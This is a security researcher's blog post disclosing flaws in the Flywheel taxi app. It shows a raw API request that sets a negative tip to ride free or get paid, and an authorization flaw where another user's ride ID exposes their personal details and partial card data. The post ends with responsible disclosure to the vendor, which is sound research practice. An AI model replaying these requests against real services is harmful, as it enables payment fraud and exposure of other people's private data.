Home » Flywheel, Free rides and credit cards

Flywheel, Free rides and credit cards

After looking at Lyft, it was turn to check out Flywheel. Flywheel is yet another app to help you find cabs just as Uber does. During my pentest I found several serious security problems.

Ride and get paid!

Yep, just like it sounds. Flywheel lets you set a default tip that will be added to the total cost so you don’t have to bother about tipping the driver. The app gives you several options (15%, 20%, 25%). When we set a tip, the request looks like this:

PUT /passengers/PASSENGER_UUID HTTP/1.1
Host: mobile.flywheel.com
Proxy-Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept-Version: 3
Cookie: AWSELB=XXXXXXXXXX
Content-Type: application/json
Accept-Language: en-us
Accept: */*
Content-Length: 201
Connection: keep-alive
User-Agent: Flywheel/797 CFNetwork/672.1.13 Darwin/14.0.0

{“auth_token”:”TOKEN_ID”,”default_tip_percent”:”15″}

“default_tip_percent” represents the amount of tip in percentage that will be applied. Now… how about if we set a negative tip? Will it go through? Is it properly validated server side?

submit negative tip
submit negative tip

a 204 response! It seems to work. But it would be good to be able to double-check if that negative value was actually set in their database.

When we successfully login we get a JSON response with all our data, including the tip. Let’s re-login again and verify that the negative tip is there:

negative tip output
negative tip output

Nice! Now we just have to set it to -100% and we ride for free. Or to -200% and we start getting paid for riding! I did not actually go on a ride and try it because I would be breaking the law but I think I made my point.

Accessing personal and credit card information

Flywheel’s API has a method to obtain specific information about a ride. The request is:

http://mobile.flywheel.com/rides/RIDE_ID?auth_token=TOKEN

I was wondering if I could lookup any ride information from any user just by modifying the ride_id. The ride_id is an integer that, as far as I know, is not consecutive. Still, easy to brute-force given that it is not a UUID and just consists of digits. I used Burp’s intruder to bruteforce some ride ids but I did not get any result.

Where they actually checking if  the ride I was trying to lurk was actually mine? Was that the actual reason why I was not getting any output?

I needed another valid ride_id from another user so I took my girlfriend’s phone and got one. Next, all I had to do was to put her ride_id with my token (of my user) and BOOM:

{

  • id“XXXXX”,
  • notes“”,
  • status“waiting_for_payment_instrument”,
  • failure_reasonnull,
  • client_created_at“2014-04-05-14:44:05”,
  • created_at1396734245,
  • updated_at1396735910,
  • estimated_hail_time260,
  • maximum_hail_time260,
  • passenger:

    {

    • id“XXX”,
    • name“XXX”,
    • phone“XXX”,
    • email“XXXX”,
    • device_type“ios”,
    • device_token“XXX”,
    • default_tip_percent15,
    • credit_balance0,
    • dispatch_service_accounts:

      [

      • {

        • username“XXXX”,
        • password“XXXX”,
        • idnull,
        • dispatch_service“liveride”,
        • tokennull,
        • sidnull

        }

      ],

    • cancellation_waivers:

      [

      • “6013c1a6-c86e-4912-8e9f-94c8768097ea”

      ],

    • payment_instruments:

      [

      • {

        • token“XXX”,
        • method“credit_card”,
        • type“visa”,
        • expire“XX/XXXX”,
        • mask“XXX”,
        • instrument_alias“Personal”,
        • defaulttrue,
        • has_cvvtrue,
        • has_postal_codetrue

        }

      ]

    },

  • pick_up_location:

    {

    • address_1“XXX”,
    • address_2“”,
    • city“San Francisco”,
    • state“CA”,
    • postal_code“”,
    • country“United States”,
    • latitude: XXX,
    • longitude: XXX,
    • namenull,
    • approach_streetnull,
    • turn_streetnull

    },

  • drop_off_location:

    {

    • address_1“”,
    • address_2“”,
    • city“”,
    • state“”,
    • postal_code“”,
    • country“”,
    • latitude“”,
    • longitude“”,
    • namenull,
    • approach_streetnull,
    • turn_streetnull

    },

}

Full name, addresses, emails, phone numbers, partial credit card information and much much more. This is bad! They just check that the session is valid but not if the user to which the token belongs is checking his own records. Bad practice.

Escaping data

The API does not escape/validate user input as far as I know. I can set tips to “AAAAA”, names to #%$%$ and phone numbers to XXXXX. While this may not be directly a exploitable security issue, it could lead to data corruption, SQL injection, etc. User input should be always considered malicious and therefore it should be always escaped and validated. Why would you accept characters in the phone number field? or tips? Why would you accept dollar signs, quotes or brackets in the name field?

Responsible disclosure

As usual, I reported this to Flywheel and they responded pretty fast:

flywheel email
flywheel email

They also gave me $25 credit which is not a lot, but at least shows their gratitude :)

 

 

2 comments

    • Martin says:

      Not exactly. The token is a UUID that is (almost) imposible to guess/replicate. What happens is that with your own valid token, you can see the information from another user. So, obtaining a valid session token is as easy as login in by yourself and lookup the cookie. Makes sense?

Leave a Reply

Your email address will not be published.